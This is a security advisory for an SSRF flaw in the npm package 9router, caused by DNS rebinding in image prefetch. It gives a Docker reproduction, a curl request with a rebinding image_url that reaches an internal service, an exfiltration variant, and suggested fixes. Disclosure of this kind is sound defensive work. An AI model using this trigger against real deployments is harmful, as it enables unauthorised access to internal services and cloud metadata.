GHSA-CMHJ-WH2F-9CGX
Vulnerability from github – Published: 2026-09-23 18:12 – Updated: 2026-09-23 18:12Summary
9router validates image URLs by resolving the host before fetching, but the later server-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can resolve to a public IP during validation and then rebind to an internal Docker/private IP during the fetch. This allows the server-side image prefetch to reach internal-only HTTP services (SSRF).
Details
- Affected version / commit: 9router
v0.4.80@b282f05. - Reachable through
/v1/chat/completionswith a vision-capable model and animage_urlcontent part. A vision-capable model name is required so the image survives modality stripping and the server-side prefetch is armed. - The provider used in this reproduction is the bundled mock provider — no real API key and no real provider call.
- internal-admin (the SSRF target) is not exposed to the host network; it is reachable only from inside the Docker network.
- rebind-dns behaviour for
rebind.9r.test: - first A response →
1.1.1.1(public) to pass the public-host guard, - second A response →
172.29.0.10(internal-admin) during the fetch. - internal-admin logs
GET /ssrf-markerwithpeer=172.29.0.30(theproxied-routercontainer), proving the server-side fetch landed on the internal service. - mock-provider receives
POST /api/chatand the flow completes withHTTP 200. - Root cause: DNS TOCTOU — the IP is not pinned between the validation resolution (the public-host guard) and the fetch resolution. The guard and the fetch each resolve the hostname independently, so a TTL-0 rebinding authority can return a public IP to the guard and an internal IP to the fetch.
Proof of Concept
This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.
- Build and start the stack:
bash docker compose up --build - Confirm
internal-adminis unreachable from the host:bash curl -i http://127.0.0.1:18083/ssrf-marker # connection refused / fail docker compose ps # internal-admin has NO host port mapping - Send the request named
POST image-prefetch DNS rebinding triggerfromrequests.http, or with curl:bash curl -i -X POST http://127.0.0.1:18082/v1/chat/completions \ -H "Content-Type: application/json" \ -d '{ "model": "ollama-local/gemma3", "messages": [{"role":"user","content":[ {"type":"text","text":"reproduction image-prefetch trigger"}, {"type":"image_url","image_url":{"url":"http://rebind.9r.test:8080/ssrf-marker?case=rebind-trigger"}} ]}], "stream": false }'
Impact
- SSRF to internal HTTP services reachable from the 9router host/container.
- Depending on the environment, this can reach cloud metadata endpoints, internal admin panels, or be used for internal service discovery.
- Blind / semi-blind SSRF when the fetched response is not returned to the attacker; an exfil variant (pointing the image at an internal endpoint that returns valid image bytes) can return internal content base64-encoded to the upstream.
- Requires a code path that prefetches/normalizes remote images for vision-capable providers.
- No real credential is needed for the reproduction.
Suggested Fix
- Pin the resolved IP after validation and connect to that IP (resolve once, then reuse the address for the fetch).
- Block private, loopback, link-local, multicast, and cloud-metadata ranges at connect time, not only at validation time.
- Perform DNS resolution and IP checks immediately before the request and against the address actually used to connect.
- Disable redirects, or re-validate every redirect target with the same checks.
- Enforce an allowlist for image-fetch domains where feasible.
- Add a timeout, a response size limit, and a content-type check.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.80"
},
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56676"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T18:12:28Z",
"nvd_published_at": "2026-07-10T16:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\n9router validates image URLs by resolving the host before fetching, but the later\nserver-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can\nresolve to a public IP during validation and then rebind to an internal Docker/private IP\nduring the fetch. This allows the server-side image prefetch to reach internal-only HTTP\nservices (SSRF).\n\n## Details\n\n- **Affected version / commit:** 9router `v0.4.80` @ `b282f05`.\n- **Reachable through** `/v1/chat/completions` with a **vision-capable model** and an\n `image_url` content part. A vision-capable model name is required so the image survives\n modality stripping and the server-side prefetch is armed.\n- The provider used in this reproduction is the bundled **mock provider** \u2014 **no real API\n key and no real provider call**.\n- **internal-admin** (the SSRF target) is **not exposed to the host network**; it is\n reachable only from inside the Docker network.\n- **rebind-dns** behaviour for `rebind.9r.test`:\n - first A response \u2192 `1.1.1.1` (public) to pass the public-host guard,\n - second A response \u2192 `172.29.0.10` (internal-admin) during the fetch.\n- **internal-admin** logs `GET /ssrf-marker` with `peer=172.29.0.30` (the `proxied-router`\n container), proving the server-side fetch landed on the internal service.\n- **mock-provider** receives `POST /api/chat` and the flow completes with `HTTP 200`.\n- **Root cause:** DNS TOCTOU \u2014 the IP is **not pinned** between the validation resolution\n (the public-host guard) and the fetch resolution. The guard and the fetch each resolve the\n hostname independently, so a TTL-0 rebinding authority can return a public IP to the guard\n and an internal IP to the fetch.\n\n## Proof of Concept\n\nThis repository is a self-contained Docker Compose reproduction. No real provider is called\nand no real API key is required.\n\n1. Build and start the stack:\n ```bash\n docker compose up --build\n ```\n2. Confirm `internal-admin` is unreachable from the host:\n ```bash\n curl -i http://127.0.0.1:18083/ssrf-marker # connection refused / fail\n docker compose ps # internal-admin has NO host port mapping\n ```\n3. Send the request named **`POST image-prefetch DNS rebinding trigger`** from\n [`requests.http`](./requests.http), or with curl:\n ```bash\n curl -i -X POST http://127.0.0.1:18082/v1/chat/completions \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"model\": \"ollama-local/gemma3\",\n \"messages\": [{\"role\":\"user\",\"content\":[\n {\"type\":\"text\",\"text\":\"reproduction image-prefetch trigger\"},\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://rebind.9r.test:8080/ssrf-marker?case=rebind-trigger\"}}\n ]}],\n \"stream\": false\n }\u0027\n ```\n\n## Impact\n\n- SSRF to internal HTTP services reachable from the 9router host/container.\n- Depending on the environment, this can reach cloud metadata endpoints, internal admin\n panels, or be used for internal service discovery.\n- Blind / semi-blind SSRF when the fetched response is not returned to the attacker; an\n exfil variant (pointing the image at an internal endpoint that returns valid image bytes)\n can return internal content base64-encoded to the upstream.\n- Requires a code path that prefetches/normalizes remote images for vision-capable\n providers.\n- No real credential is needed for the reproduction.\n\n## Suggested Fix\n\n- **Pin the resolved IP** after validation and connect to **that** IP (resolve once, then\n reuse the address for the fetch).\n- Block private, loopback, link-local, multicast, and cloud-metadata ranges **at connect\n time**, not only at validation time.\n- Perform DNS resolution and IP checks immediately before the request and against the\n address actually used to connect.\n- Disable redirects, or re-validate every redirect target with the same checks.\n- Enforce an allowlist for image-fetch domains where feasible.\n- Add a timeout, a response size limit, and a content-type check.",
"id": "GHSA-cmhj-wh2f-9cgx",
"modified": "2026-09-23T18:12:28Z",
"published": "2026-09-23T18:12:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-cmhj-wh2f-9cgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56676"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/c7d07448c58bec1200741de0b73305b860416b82"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "9router: Image prefetch DNS rebinding allows SSRF to internal services"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.